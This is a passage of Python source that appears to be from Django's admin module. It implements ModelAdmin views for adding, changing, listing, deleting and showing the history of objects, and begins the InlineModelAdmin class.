            description = func.short_description
        else:
            description = capfirst(action.replace('_', ' '))
        return func, action, description

    def get_list_display(self, request):
        """
        Return a sequence containing the fields to be displayed on the
        changelist.
        """
        return self.list_display

    def get_list_display_links(self, request, list_display):
        """
        Return a sequence containing the fields to be displayed as links
        on the changelist. The list_display parameter is the list of fields
        returned by get_list_display().
        """
        if self.list_display_links or self.list_display_links is None or not list_display:
            return self.list_display_links
        else:
            # Use only the first item in list_display as link
            return list(list_display)[:1]

    def get_list_filter(self, request):
        """
        Returns a sequence containing the fields to be displayed as filters in
        the right sidebar of the changelist page.
        """
        return self.list_filter

    def get_list_select_related(self, request):
        """
        Returns a list of fields to add to the select_related() part of the
        changelist items query.
        """
        return self.list_select_related

    def get_search_fields(self, request):
        """
        Returns a sequence containing the fields to be searched whenever
        somebody submits a search query.
        """
        return self.search_fields

    def get_search_results(self, request, queryset, search_term):
        """
        Returns a tuple containing a queryset to implement the search,
        and a boolean indicating if the results may contain duplicates.
        """
        # Apply keyword searches.
        def construct_search(field_name):
            if field_name.startswith('^'):
                return "%s__istartswith" % field_name[1:]
            elif field_name.startswith('='):
                return "%s__iexact" % field_name[1:]
            elif field_name.startswith('@'):
                return "%s__search" % field_name[1:]
            else:
                return "%s__icontains" % field_name

        use_distinct = False
        search_fields = self.get_search_fields(request)
        if search_fields and search_term:
            orm_lookups = [construct_search(str(search_field))
                           for search_field in search_fields]
            for bit in search_term.split():
                or_queries = [models.Q(**{orm_lookup: bit})
                              for orm_lookup in orm_lookups]
                queryset = queryset.filter(reduce(operator.or_, or_queries))
            if not use_distinct:
                for search_spec in orm_lookups:
                    if lookup_needs_distinct(self.opts, search_spec):
                        use_distinct = True
                        break

        return queryset, use_distinct

    def get_preserved_filters(self, request):
        """
        Returns the preserved filters querystring.
        """
        match = request.resolver_match
        if self.preserve_filters and match:
            opts = self.model._meta
            current_url = '%s:%s' % (match.app_name, match.url_name)
            changelist_url = 'admin:%s_%s_changelist' % (opts.app_label, opts.model_name)
            if current_url == changelist_url:
                preserved_filters = request.GET.urlencode()
            else:
                preserved_filters = request.GET.get('_changelist_filters')

            if preserved_filters:
                return urlencode({'_changelist_filters': preserved_filters})
        return ''

    @translation_override(None)
    def construct_change_message(self, request, form, formsets, add=False):
        """
        Construct a JSON structure describing changes from a changed object.
        Translations are deactivated so that strings are stored untranslated.
        Translation happens later on LogEntry access.
        """
        change_message = []
        if add:
            change_message.append({'added': {}})
        elif form.changed_data:
            change_message.append({'changed': {'fields': form.changed_data}})

        if formsets:
            for formset in formsets:
                for added_object in formset.new_objects:
                    change_message.append({
                        'added': {
                            'name': force_text(added_object._meta.verbose_name),
                            'object': force_text(added_object),
                        }
                    })
                for changed_object, changed_fields in formset.changed_objects:
                    change_message.append({
                        'changed': {
                            'name': force_text(changed_object._meta.verbose_name),
                            'object': force_text(changed_object),
                            'fields': changed_fields,
                        }
                    })
                for deleted_object in formset.deleted_objects:
                    change_message.append({
                        'deleted': {
                            'name': force_text(deleted_object._meta.verbose_name),
                            'object': force_text(deleted_object),
                        }
                    })
        return change_message

    def message_user(self, request, message, level=messages.INFO, extra_tags='',
                     fail_silently=False):
        """
        Send a message to the user. The default implementation
        posts a message using the django.contrib.messages backend.

        Exposes almost the same API as messages.add_message(), but accepts the
        positional arguments in a different order to maintain backwards
        compatibility. For convenience, it accepts the `level` argument as
        a string rather than the usual level number.
        """
        if not isinstance(level, int):
            # attempt to get the level if passed a string
            try:
                level = getattr(messages.constants, level.upper())
            except AttributeError:
                levels = messages.constants.DEFAULT_TAGS.values()
                levels_repr = ', '.join('`%s`' % l for l in levels)
                raise ValueError(
                    'Bad message level string: `%s`. Possible values are: %s'
                    % (level, levels_repr)
                )

        messages.add_message(request, level, message, extra_tags=extra_tags, fail_silently=fail_silently)

    def save_form(self, request, form, change):
        """
        Given a ModelForm return an unsaved instance. ``change`` is True if
        the object is being changed, and False if it's being added.
        """
        return form.save(commit=False)

    def save_model(self, request, obj, form, change):
        """
        Given a model instance save it to the database.
        """
        obj.save()

    def delete_model(self, request, obj):
        """
        Given a model instance delete it from the database.
        """
        obj.delete()

    def save_formset(self, request, form, formset, change):
        """
        Given an inline formset save it to the database.
        """
        formset.save()

    def save_related(self, request, form, formsets, change):
        """
        Given the ``HttpRequest``, the parent ``ModelForm`` instance, the
        list of inline formsets and a boolean value based on whether the
        parent is being added or changed, save the related objects to the
        database. Note that at this point save_form() and save_model() have
        already been called.
        """
        form.save_m2m()
        for formset in formsets:
            self.save_formset(request, form, formset, change=change)

    def render_change_form(self, request, context, add=False, change=False, form_url='', obj=None):
        opts = self.model._meta
        app_label = opts.app_label
        preserved_filters = self.get_preserved_filters(request)
        form_url = add_preserved_filters({'preserved_filters': preserved_filters, 'opts': opts}, form_url)
        view_on_site_url = self.get_view_on_site_url(obj)
        context.update({
            'add': add,
            'change': change,
            'has_add_permission': self.has_add_permission(request),
            'has_change_permission': self.has_change_permission(request, obj),
            'has_delete_permission': self.has_delete_permission(request, obj),
            'has_file_field': True,  # FIXME - this should check if form or formsets have a FileField,
            'has_absolute_url': view_on_site_url is not None,
            'absolute_url': view_on_site_url,
            'form_url': form_url,
            'opts': opts,
            'content_type_id': get_content_type_for_model(self.model).pk,
            'save_as': self.save_as,
            'save_on_top': self.save_on_top,
            'to_field_var': TO_FIELD_VAR,
            'is_popup_var': IS_POPUP_VAR,
            'app_label': app_label,
        })
        if add and self.add_form_template is not None:
            form_template = self.add_form_template
        else:
            form_template = self.change_form_template

        request.current_app = self.admin_site.name

        return TemplateResponse(request, form_template or [
            "admin/%s/%s/change_form.html" % (app_label, opts.model_name),
            "admin/%s/change_form.html" % app_label,
            "admin/change_form.html"
        ], context)

    def response_add(self, request, obj, post_url_continue=None):
        """
        Determines the HttpResponse for the add_view stage.
        """
        opts = obj._meta
        pk_value = obj._get_pk_val()
        preserved_filters = self.get_preserved_filters(request)
        obj_url = reverse(
            'admin:%s_%s_change' % (opts.app_label, opts.model_name),
            args=(quote(pk_value),),
            current_app=self.admin_site.name,
        )
        # Add a link to the object's change form if the user can edit the obj.
        if self.has_change_permission(request, obj):
            obj_repr = format_html('<a href="{}">{}</a>', urlquote(obj_url), obj)
        else:
            obj_repr = force_text(obj)
        msg_dict = {
            'name': force_text(opts.verbose_name),
            'obj': obj_repr,
        }
        # Here, we distinguish between different save types by checking for
        # the presence of keys in request.POST.

        if IS_POPUP_VAR in request.POST:
            to_field = request.POST.get(TO_FIELD_VAR)
            if to_field:
                attr = str(to_field)
            else:
                attr = obj._meta.pk.attname
            value = obj.serializable_value(attr)
            popup_response_data = json.dumps({
                'value': six.text_type(value),
                'obj': six.text_type(obj),
            })
            return SimpleTemplateResponse('admin/popup_response.html', {
                'popup_response_data': popup_response_data,
            })

        elif "_continue" in request.POST or (
                # Redirecting after "Save as new".
                "_saveasnew" in request.POST and self.save_as_continue and
                self.has_change_permission(request, obj)
        ):
            msg = format_html(
                _('The {name} "{obj}" was added successfully. You may edit it again below.'),
                **msg_dict
            )
            self.message_user(request, msg, messages.SUCCESS)
            if post_url_continue is None:
                post_url_continue = obj_url
            post_url_continue = add_preserved_filters(
                {'preserved_filters': preserved_filters, 'opts': opts},
                post_url_continue
            )
            return HttpResponseRedirect(post_url_continue)

        elif "_addanother" in request.POST:
            msg = format_html(
                _('The {name} "{obj}" was added successfully. You may add another {name} below.'),
                **msg_dict
            )
            self.message_user(request, msg, messages.SUCCESS)
            redirect_url = request.path
            redirect_url = add_preserved_filters({'preserved_filters': preserved_filters, 'opts': opts}, redirect_url)
            return HttpResponseRedirect(redirect_url)

        else:
            msg = format_html(
                _('The {name} "{obj}" was added successfully.'),
                **msg_dict
            )
            self.message_user(request, msg, messages.SUCCESS)
            return self.response_post_save_add(request, obj)

    def response_change(self, request, obj):
        """
        Determines the HttpResponse for the change_view stage.
        """

        if IS_POPUP_VAR in request.POST:
            to_field = request.POST.get(TO_FIELD_VAR)
            attr = str(to_field) if to_field else obj._meta.pk.attname
            # Retrieve the `object_id` from the resolved pattern arguments.
            value = request.resolver_match.args[0]
            new_value = obj.serializable_value(attr)
            popup_response_data = json.dumps({
                'action': 'change',
                'value': six.text_type(value),
                'obj': six.text_type(obj),
                'new_value': six.text_type(new_value),
            })
            return SimpleTemplateResponse('admin/popup_response.html', {
                'popup_response_data': popup_response_data,
            })

        opts = self.model._meta
        pk_value = obj._get_pk_val()
        preserved_filters = self.get_preserved_filters(request)

        msg_dict = {
            'name': force_text(opts.verbose_name),
            'obj': format_html('<a href="{}">{}</a>', urlquote(request.path), obj),
        }
        if "_continue" in request.POST:
            msg = format_html(
                _('The {name} "{obj}" was changed successfully. You may edit it again below.'),
                **msg_dict
            )
            self.message_user(request, msg, messages.SUCCESS)
            redirect_url = request.path
            redirect_url = add_preserved_filters({'preserved_filters': preserved_filters, 'opts': opts}, redirect_url)
            return HttpResponseRedirect(redirect_url)

        elif "_saveasnew" in request.POST:
            msg = format_html(
                _('The {name} "{obj}" was added successfully. You may edit it again below.'),
                **msg_dict
            )
            self.message_user(request, msg, messages.SUCCESS)
            redirect_url = reverse('admin:%s_%s_change' %
                                   (opts.app_label, opts.model_name),
                                   args=(pk_value,),
                                   current_app=self.admin_site.name)
            redirect_url = add_preserved_filters({'preserved_filters': preserved_filters, 'opts': opts}, redirect_url)
            return HttpResponseRedirect(redirect_url)

        elif "_addanother" in request.POST:
            msg = format_html(
                _('The {name} "{obj}" was changed successfully. You may add another {name} below.'),
                **msg_dict
            )
            self.message_user(request, msg, messages.SUCCESS)
            redirect_url = reverse('admin:%s_%s_add' %
                                   (opts.app_label, opts.model_name),
                                   current_app=self.admin_site.name)
            redirect_url = add_preserved_filters({'preserved_filters': preserved_filters, 'opts': opts}, redirect_url)
            return HttpResponseRedirect(redirect_url)

        else:
            msg = format_html(
                _('The {name} "{obj}" was changed successfully.'),
                **msg_dict
            )
            self.message_user(request, msg, messages.SUCCESS)
            return self.response_post_save_change(request, obj)

    def response_post_save_add(self, request, obj):
        """
        Figure out where to redirect after the 'Save' button has been pressed
        when adding a new object.
        """
        opts = self.model._meta
        if self.has_change_permission(request, None):
            post_url = reverse('admin:%s_%s_changelist' %
                               (opts.app_label, opts.model_name),
                               current_app=self.admin_site.name)
            preserved_filters = self.get_preserved_filters(request)
            post_url = add_preserved_filters({'preserved_filters': preserved_filters, 'opts': opts}, post_url)
        else:
            post_url = reverse('admin:index',
                               current_app=self.admin_site.name)
        return HttpResponseRedirect(post_url)

    def response_post_save_change(self, request, obj):
        """
        Figure out where to redirect after the 'Save' button has been pressed
        when editing an existing object.
        """
        opts = self.model._meta

        if self.has_change_permission(request, None):
            post_url = reverse('admin:%s_%s_changelist' %
                               (opts.app_label, opts.model_name),
                               current_app=self.admin_site.name)
            preserved_filters = self.get_preserved_filters(request)
            post_url = add_preserved_filters({'preserved_filters': preserved_filters, 'opts': opts}, post_url)
        else:
            post_url = reverse('admin:index',
                               current_app=self.admin_site.name)
        return HttpResponseRedirect(post_url)

    def response_action(self, request, queryset):
        """
        Handle an admin action. This is called if a request is POSTed to the
        changelist; it returns an HttpResponse if the action was handled, and
        None otherwise.
        """

        # There can be multiple action forms on the page (at the top
        # and bottom of the change list, for example). Get the action
        # whose button was pushed.
        try:
            action_index = int(request.POST.get('index', 0))
        except ValueError:
            action_index = 0

        # Construct the action form.
        data = request.POST.copy()
        data.pop(helpers.ACTION_CHECKBOX_NAME, None)
        data.pop("index", None)

        # Use the action whose button was pushed
        try:
            data.update({'action': data.getlist('action')[action_index]})
        except IndexError:
            # If we didn't get an action from the chosen form that's invalid
            # POST data, so by deleting action it'll fail the validation check
            # below. So no need to do anything here
            pass

        action_form = self.action_form(data, auto_id=None)
        action_form.fields['action'].choices = self.get_action_choices(request)

        # If the form's valid we can handle the action.
        if action_form.is_valid():
            action = action_form.cleaned_data['action']
            select_across = action_form.cleaned_data['select_across']
            func = self.get_actions(request)[action][0]

            # Get the list of selected PKs. If nothing's selected, we can't
            # perform an action on it, so bail. Except we want to perform
            # the action explicitly on all objects.
            selected = request.POST.getlist(helpers.ACTION_CHECKBOX_NAME)
            if not selected and not select_across:
                # Reminder that something needs to be selected or nothing will happen
                msg = _("Items must be selected in order to perform "
                        "actions on them. No items have been changed.")
                self.message_user(request, msg, messages.WARNING)
                return None

            if not select_across:
                # Perform the action only on the selected objects
                queryset = queryset.filter(pk__in=selected)

            response = func(self, request, queryset)

            # Actions may return an HttpResponse-like object, which will be
            # used as the response from the POST. If not, we'll be a good
            # little HTTP citizen and redirect back to the changelist page.
            if isinstance(response, HttpResponseBase):
                return response
            else:
                return HttpResponseRedirect(request.get_full_path())
        else:
            msg = _("No action selected.")
            self.message_user(request, msg, messages.WARNING)
            return None

    def response_delete(self, request, obj_display, obj_id):
        """
        Determines the HttpResponse for the delete_view stage.
        """

        opts = self.model._meta

        if IS_POPUP_VAR in request.POST:
            popup_response_data = json.dumps({
                'action': 'delete',
                'value': str(obj_id),
            })
            return SimpleTemplateResponse('admin/popup_response.html', {
                'popup_response_data': popup_response_data,
            })

        self.message_user(
            request,
            _('The %(name)s "%(obj)s" was deleted successfully.') % {
                'name': force_text(opts.verbose_name),
                'obj': force_text(obj_display),
            },
            messages.SUCCESS,
        )

        if self.has_change_permission(request, None):
            post_url = reverse(
                'admin:%s_%s_changelist' % (opts.app_label, opts.model_name),
                current_app=self.admin_site.name,
            )
            preserved_filters = self.get_preserved_filters(request)
            post_url = add_preserved_filters(
                {'preserved_filters': preserved_filters, 'opts': opts}, post_url
            )
        else:
            post_url = reverse('admin:index', current_app=self.admin_site.name)
        return HttpResponseRedirect(post_url)

    def render_delete_form(self, request, context):
        opts = self.model._meta
        app_label = opts.app_label

        request.current_app = self.admin_site.name
        context.update(
            to_field_var=TO_FIELD_VAR,
            is_popup_var=IS_POPUP_VAR,
            media=self.media,
        )

        return TemplateResponse(
            request,
            self.delete_confirmation_template or [
                "admin/{}/{}/delete_confirmation.html".format(app_label, opts.model_name),
                "admin/{}/delete_confirmation.html".format(app_label),
                "admin/delete_confirmation.html",
            ],
            context,
        )

    def get_inline_formsets(self, request, formsets, inline_instances, obj=None):
        inline_admin_formsets = []
        for inline, formset in zip(inline_instances, formsets):
            fieldsets = list(inline.get_fieldsets(request, obj))
            readonly = list(inline.get_readonly_fields(request, obj))
            prepopulated = dict(inline.get_prepopulated_fields(request, obj))
            inline_admin_formset = helpers.InlineAdminFormSet(
                inline, formset, fieldsets, prepopulated, readonly,
                model_admin=self,
            )
            inline_admin_formsets.append(inline_admin_formset)
        return inline_admin_formsets

    def get_changeform_initial_data(self, request):
        """
        Get the initial form data.
        Unless overridden, this populates from the GET params.
        """
        initial = dict(request.GET.items())
        for k in initial:
            try:
                f = self.model._meta.get_field(k)
            except FieldDoesNotExist:
                continue
            # We have to special-case M2Ms as a list of comma-separated PKs.
            if isinstance(f, models.ManyToManyField):
                initial[k] = initial[k].split(",")
        return initial

    @csrf_protect_m
    @transaction.atomic
    def changeform_view(self, request, object_id=None, form_url='', extra_context=None):

        to_field = request.POST.get(TO_FIELD_VAR, request.GET.get(TO_FIELD_VAR))
        if to_field and not self.to_field_allowed(request, to_field):
            raise DisallowedModelAdminToField("The field %s cannot be referenced." % to_field)

        model = self.model
        opts = model._meta

        if request.method == 'POST' and '_saveasnew' in request.POST:
            object_id = None

        add = object_id is None

        if add:
            if not self.has_add_permission(request):
                raise PermissionDenied
            obj = None

        else:
            obj = self.get_object(request, unquote(object_id), to_field)

            if not self.has_change_permission(request, obj):
                raise PermissionDenied

            if obj is None:
                raise Http404(_('%(name)s object with primary key %(key)r does not exist.') % {
                    'name': force_text(opts.verbose_name), 'key': escape(object_id)})

        ModelForm = self.get_form(request, obj)
        if request.method == 'POST':
            form = ModelForm(request.POST, request.FILES, instance=obj)
            if form.is_valid():
                form_validated = True
                new_object = self.save_form(request, form, change=not add)
            else:
                form_validated = False
                new_object = form.instance
            formsets, inline_instances = self._create_formsets(request, new_object, change=not add)
            if all_valid(formsets) and form_validated:
                self.save_model(request, new_object, form, not add)
                self.save_related(request, form, formsets, not add)
                change_message = self.construct_change_message(request, form, formsets, add)
                if add:
                    self.log_addition(request, new_object, change_message)
                    return self.response_add(request, new_object)
                else:
                    self.log_change(request, new_object, change_message)
                    return self.response_change(request, new_object)
            else:
                form_validated = False
        else:
            if add:
                initial = self.get_changeform_initial_data(request)
                form = ModelForm(initial=initial)
                formsets, inline_instances = self._create_formsets(request, form.instance, change=False)
            else:
                form = ModelForm(instance=obj)
                formsets, inline_instances = self._create_formsets(request, obj, change=True)

        adminForm = helpers.AdminForm(
            form,
            list(self.get_fieldsets(request, obj)),
            self.get_prepopulated_fields(request, obj),
            self.get_readonly_fields(request, obj),
            model_admin=self)
        media = self.media + adminForm.media

        inline_formsets = self.get_inline_formsets(request, formsets, inline_instances, obj)
        for inline_formset in inline_formsets:
            media = media + inline_formset.media

        context = dict(
            self.admin_site.each_context(request),
            title=(_('Add %s') if add else _('Change %s')) % force_text(opts.verbose_name),
            adminform=adminForm,
            object_id=object_id,
            original=obj,
            is_popup=(IS_POPUP_VAR in request.POST or
                      IS_POPUP_VAR in request.GET),
            to_field=to_field,
            media=media,
            inline_admin_formsets=inline_formsets,
            errors=helpers.AdminErrorList(form, formsets),
            preserved_filters=self.get_preserved_filters(request),
        )

        # Hide the "Save" and "Save and continue" buttons if "Save as New" was
        # previously chosen to prevent the interface from getting confusing.
        if request.method == 'POST' and not form_validated and "_saveasnew" in request.POST:
            context['show_save'] = False
            context['show_save_and_continue'] = False
            # Use the change template instead of the add template.
            add = False

        context.update(extra_context or {})

        return self.render_change_form(request, context, add=add, change=not add, obj=obj, form_url=form_url)

    def add_view(self, request, form_url='', extra_context=None):
        return self.changeform_view(request, None, form_url, extra_context)

    def change_view(self, request, object_id, form_url='', extra_context=None):
        return self.changeform_view(request, object_id, form_url, extra_context)

    @csrf_protect_m
    def changelist_view(self, request, extra_context=None):
        """
        The 'change list' admin view for this model.
        """
        from django.contrib.admin.views.main import ERROR_FLAG
        opts = self.model._meta
        app_label = opts.app_label
        if not self.has_change_permission(request, None):
            raise PermissionDenied

        list_display = self.get_list_display(request)
        list_display_links = self.get_list_display_links(request, list_display)
        list_filter = self.get_list_filter(request)
        search_fields = self.get_search_fields(request)
        list_select_related = self.get_list_select_related(request)

        # Check actions to see if any are available on this changelist
        actions = self.get_actions(request)
        if actions:
            # Add the action checkboxes if there are any actions available.
            list_display = ['action_checkbox'] + list(list_display)

        ChangeList = self.get_changelist(request)
        try:
            cl = ChangeList(
                request, self.model, list_display,
                list_display_links, list_filter, self.date_hierarchy,
                search_fields, list_select_related, self.list_per_page,
                self.list_max_show_all, self.list_editable, self,
            )
        except IncorrectLookupParameters:
            # Wacky lookup parameters were given, so redirect to the main
            # changelist page, without parameters, and pass an 'invalid=1'
            # parameter via the query string. If wacky parameters were given
            # and the 'invalid=1' parameter was already in the query string,
            # something is screwed up with the database, so display an error
            # page.
            if ERROR_FLAG in request.GET.keys():
                return SimpleTemplateResponse('admin/invalid_setup.html', {
                    'title': _('Database error'),
                })
            return HttpResponseRedirect(request.path + '?' + ERROR_FLAG + '=1')

        # If the request was POSTed, this might be a bulk action or a bulk
        # edit. Try to look up an action or confirmation first, but if this
        # isn't an action the POST will fall through to the bulk edit check,
        # below.
        action_failed = False
        selected = request.POST.getlist(helpers.ACTION_CHECKBOX_NAME)

        # Actions with no confirmation
        if (actions and request.method == 'POST' and
                'index' in request.POST and '_save' not in request.POST):
            if selected:
                response = self.response_action(request, queryset=cl.get_queryset(request))
                if response:
                    return response
                else:
                    action_failed = True
            else:
                msg = _("Items must be selected in order to perform "
                        "actions on them. No items have been changed.")
                self.message_user(request, msg, messages.WARNING)
                action_failed = True

        # Actions with confirmation
        if (actions and request.method == 'POST' and
                helpers.ACTION_CHECKBOX_NAME in request.POST and
                'index' not in request.POST and '_save' not in request.POST):
            if selected:
                response = self.response_action(request, queryset=cl.get_queryset(request))
                if response:
                    return response
                else:
                    action_failed = True

        # If we're allowing changelist editing, we need to construct a formset
        # for the changelist given all the fields to be edited. Then we'll
        # use the formset to validate/process POSTed data.
        formset = cl.formset = None

        # Handle POSTed bulk-edit data.
        if (request.method == "POST" and cl.list_editable and
                '_save' in request.POST and not action_failed):
            FormSet = self.get_changelist_formset(request)
            formset = cl.formset = FormSet(request.POST, request.FILES, queryset=self.get_queryset(request))
            if formset.is_valid():
                changecount = 0
                for form in formset.forms:
                    if form.has_changed():
                        obj = self.save_form(request, form, change=True)
                        self.save_model(request, obj, form, change=True)
                        self.save_related(request, form, formsets=[], change=True)
                        change_msg = self.construct_change_message(request, form, None)
                        self.log_change(request, obj, change_msg)
                        changecount += 1

                if changecount:
                    if changecount == 1:
                        name = force_text(opts.verbose_name)
                    else:
                        name = force_text(opts.verbose_name_plural)
                    msg = ungettext(
                        "%(count)s %(name)s was changed successfully.",
                        "%(count)s %(name)s were changed successfully.",
                        changecount
                    ) % {
                        'count': changecount,
                        'name': name,
                        'obj': force_text(obj),
                    }
                    self.message_user(request, msg, messages.SUCCESS)

                return HttpResponseRedirect(request.get_full_path())

        # Handle GET -- construct a formset for display.
        elif cl.list_editable:
            FormSet = self.get_changelist_formset(request)
            formset = cl.formset = FormSet(queryset=cl.result_list)

        # Build the list of media to be used by the formset.
        if formset:
            media = self.media + formset.media
        else:
            media = self.media

        # Build the action form and populate it with available actions.
        if actions:
            action_form = self.action_form(auto_id=None)
            action_form.fields['action'].choices = self.get_action_choices(request)
            media += action_form.media
        else:
            action_form = None

        selection_note_all = ungettext(
            '%(total_count)s selected',
            'All %(total_count)s selected',
            cl.result_count
        )

        context = dict(
            self.admin_site.each_context(request),
            module_name=force_text(opts.verbose_name_plural),
            selection_note=_('0 of %(cnt)s selected') % {'cnt': len(cl.result_list)},
            selection_note_all=selection_note_all % {'total_count': cl.result_count},
            title=cl.title,
            is_popup=cl.is_popup,
            to_field=cl.to_field,
            cl=cl,
            media=media,
            has_add_permission=self.has_add_permission(request),
            opts=cl.opts,
            action_form=action_form,
            actions_on_top=self.actions_on_top,
            actions_on_bottom=self.actions_on_bottom,
            actions_selection_counter=self.actions_selection_counter,
            preserved_filters=self.get_preserved_filters(request),
        )
        context.update(extra_context or {})

        request.current_app = self.admin_site.name

        return TemplateResponse(request, self.change_list_template or [
            'admin/%s/%s/change_list.html' % (app_label, opts.model_name),
            'admin/%s/change_list.html' % app_label,
            'admin/change_list.html'
        ], context)

    @csrf_protect_m
    @transaction.atomic
    def delete_view(self, request, object_id, extra_context=None):
        "The 'delete' admin view for this model."
        opts = self.model._meta
        app_label = opts.app_label

        to_field = request.POST.get(TO_FIELD_VAR, request.GET.get(TO_FIELD_VAR))
        if to_field and not self.to_field_allowed(request, to_field):
            raise DisallowedModelAdminToField("The field %s cannot be referenced." % to_field)

        obj = self.get_object(request, unquote(object_id), to_field)

        if not self.has_delete_permission(request, obj):
            raise PermissionDenied

        if obj is None:
            raise Http404(
                _('%(name)s object with primary key %(key)r does not exist.') %
                {'name': force_text(opts.verbose_name), 'key': escape(object_id)}
            )

        using = router.db_for_write(self.model)

        # Populate deleted_objects, a data structure of all related objects that
        # will also be deleted.
        (deleted_objects, model_count, perms_needed, protected) = get_deleted_objects(
            [obj], opts, request.user, self.admin_site, using)

        if request.POST and not protected:  # The user has confirmed the deletion.
            if perms_needed:
                raise PermissionDenied
            obj_display = force_text(obj)
            attr = str(to_field) if to_field else opts.pk.attname
            obj_id = obj.serializable_value(attr)
            self.log_deletion(request, obj, obj_display)
            self.delete_model(request, obj)

            return self.response_delete(request, obj_display, obj_id)

        object_name = force_text(opts.verbose_name)

        if perms_needed or protected:
            title = _("Cannot delete %(name)s") % {"name": object_name}
        else:
            title = _("Are you sure?")

        context = dict(
            self.admin_site.each_context(request),
            title=title,
            object_name=object_name,
            object=obj,
            deleted_objects=deleted_objects,
            model_count=dict(model_count).items(),
            perms_lacking=perms_needed,
            protected=protected,
            opts=opts,
            app_label=app_label,
            preserved_filters=self.get_preserved_filters(request),
            is_popup=(IS_POPUP_VAR in request.POST or
                      IS_POPUP_VAR in request.GET),
            to_field=to_field,
        )
        context.update(extra_context or {})

        return self.render_delete_form(request, context)

    def history_view(self, request, object_id, extra_context=None):
        "The 'history' admin view for this model."
        from django.contrib.admin.models import LogEntry
        # First check if the user can see this history.
        model = self.model
        obj = self.get_object(request, unquote(object_id))
        if obj is None:
            raise Http404(_('%(name)s object with primary key %(key)r does not exist.') % {
                'name': force_text(model._meta.verbose_name),
                'key': escape(object_id),
            })

        if not self.has_change_permission(request, obj):
            raise PermissionDenied

        # Then get the history for this object.
        opts = model._meta
        app_label = opts.app_label
        action_list = LogEntry.objects.filter(
            object_id=unquote(object_id),
            content_type=get_content_type_for_model(model)
        ).select_related().order_by('action_time')

        context = dict(
            self.admin_site.each_context(request),
            title=_('Change history: %s') % force_text(obj),
            action_list=action_list,
            module_name=capfirst(force_text(opts.verbose_name_plural)),
            object=obj,
            opts=opts,
            preserved_filters=self.get_preserved_filters(request),
        )
        context.update(extra_context or {})

        request.current_app = self.admin_site.name

        return TemplateResponse(request, self.object_history_template or [
            "admin/%s/%s/object_history.html" % (app_label, opts.model_name),
            "admin/%s/object_history.html" % app_label,
            "admin/object_history.html"
        ], context)

    def _create_formsets(self, request, obj, change):
        "Helper function to generate formsets for add/change_view."
        formsets = []
        inline_instances = []
        prefixes = {}
        get_formsets_args = [request]
        if change:
            get_formsets_args.append(obj)
        for FormSet, inline in self.get_formsets_with_inlines(*get_formsets_args):
            prefix = FormSet.get_default_prefix()
            prefixes[prefix] = prefixes.get(prefix, 0) + 1
            if prefixes[prefix] != 1 or not prefix:
                prefix = "%s-%s" % (prefix, prefixes[prefix])
            formset_params = {
                'instance': obj,
                'prefix': prefix,
                'queryset': inline.get_queryset(request),
            }
            if request.method == 'POST':
                formset_params.update({
                    'data': request.POST,
                    'files': request.FILES,
                    'save_as_new': '_saveasnew' in request.POST
                })
            formsets.append(FormSet(**formset_params))
            inline_instances.append(inline)
        return formsets, inline_instances


class InlineModelAdmin(BaseModelAdmin):
    """
    Options for inline editing of ``model`` instances.

    Provide ``fk_name`` to specify the attribute name of the ``ForeignKey``
    from ``model`` to its parent. This is required if ``model`` has more than
    one ``ForeignKey`` to its parent.
    """
    model = None
    fk_name = None
    formset = BaseInlineFormSet
    extra = 3
    min_num = None
    max_num = None
    template = None
    verbose_name = None
    verbose_name_plural = None
    can_delete = True
    show_change_link = False
    checks_class = InlineModelAdminChecks
    classes = None

    def __init__(self, parent_model, admin_site):
        self.admin_site = admin_site
        self.parent_model = parent_model
        self.opts = self.model._meta
        self.has_registered_model = admin_site.is_registered(self.model)
        super(InlineModelAdmin, self).__init__()
        if self.verbose_name is None:
            self.verbose_name = self.model._meta.verbose_name
        if self.verbose_name_plural is None:
            self.verbose_name_plural = self.model._meta.verbose_name_plural

    @property
    def media(self):
        extra = '' if settings.DEBUG else '.min'
        js = ['vendor/jquery/jquery%s.js' % extra, 'jquery.init.js',
              'inlines%s.js' % extra]
        if self.filter_vertical or self.filter_horizontal:
            js.extend(['SelectBox.js', 'SelectFilter2.js'])
        if self.classes and 'collapse' in self.classes:
            js.append('collapse%s.js' % extra)
        return forms.Media(js=['admin/js/%s' % url for url in js])

    def get_extra(self, request, obj=None, **kwargs):
        """Hook for customizing the number of extra inline forms."""
        return self.extra

    def get_min_num(self, request, obj=None, **kwargs):
        """Hook for customizing the min number of inline forms."""
        return self.min_num

    def get_max_num(self, request, obj=None, **kwargs):
        """Hook for customizing the max number of extra inline forms."""
        return self.max_num

    def get_formset(self, request, obj=None, **kwargs):
        """Returns a BaseInlineFormSet class for use in admin add/change views."""
        if 'fields' in kwargs:
            fields = kwargs.pop('fields')
        else:
            fields = flatten_fieldsets(self.get_fieldsets(request, obj))
        if self.exclude is None:
            exclude = []
        else:
            exclude = list(self.exclude)
        exclude.extend(self.get_readonly_fields(request, obj))
        if self.exclude is None and hasattr(self.form, '_meta') and self.form._meta.exclude:
            # Take the custom ModelForm's Meta.exclude into account only if the
            # InlineModelAdmin doesn't define its own.
            exclude.extend(self.form._meta.exclude)
        # If exclude is an empty list we use None, since that's the actual
        # default.
        exclude = exclude or None
        can_delete = self.can_delete and self.has_delete_permission(request, obj)
        defaults = {
            "form": self.form,
            "formset": self.formset,
            "fk_name": self.fk_name,
            "fields": fields,
            "exclude": exclude,
            "formfield_callback": partial(self.formfield_for_dbfield, request=request),
            "extra": self.get_extra(request, obj, **kwargs),
            "min_num": self.get_min_num(request, obj, **kwargs),
            "max_num": self.get_max_num(request, obj, **kwargs),
            "can_delete": can_delete,
        }

        defaults.update(kwargs)
        base_model_form = defaults['form']

        class DeleteProtectedModelForm(base_model_form):
            def hand_clean_DELETE(self):
                """
                We don't validate the 'DELETE' field itself because on
                templates it's not rendered using the field information, but
                just using a generic "deletion_field" of the InlineModelAdmin.
                """
                if self.cleaned_data.get(DELETION_FIELD_NAME, False):
                    using = router.db_for_write(self._meta.model)
                    collector = NestedObjects(using=using)
                    if self.instance.pk is None:
                        return
                    collector.collect([self.instance])
                    if collector.protected:
                        objs = []
                        for p in collector.protected:
                            objs.append(
                                # Translators: Model verbose name and instance representation,
                                # suitable to be an item in a list.
                                _('%(class_name)s %(instance)s') % {
                                    'class_name': p._meta.verbose_name,
                                    'instance': p}
                            )
                        params = {'class_name': self._meta.model._meta.verbose_name,
                                  'instance': self.instance,
                                  'related_objects': get_text_list(objs, _('and'))}
                        msg = _("Deleting %(class_name)s %(instance)s would require "
                                "deleting the following protected related objects: "
                                "%(related_objects)s")
                        raise ValidationError(msg, code='deleting_protected', params=params)

            def is_valid(self):
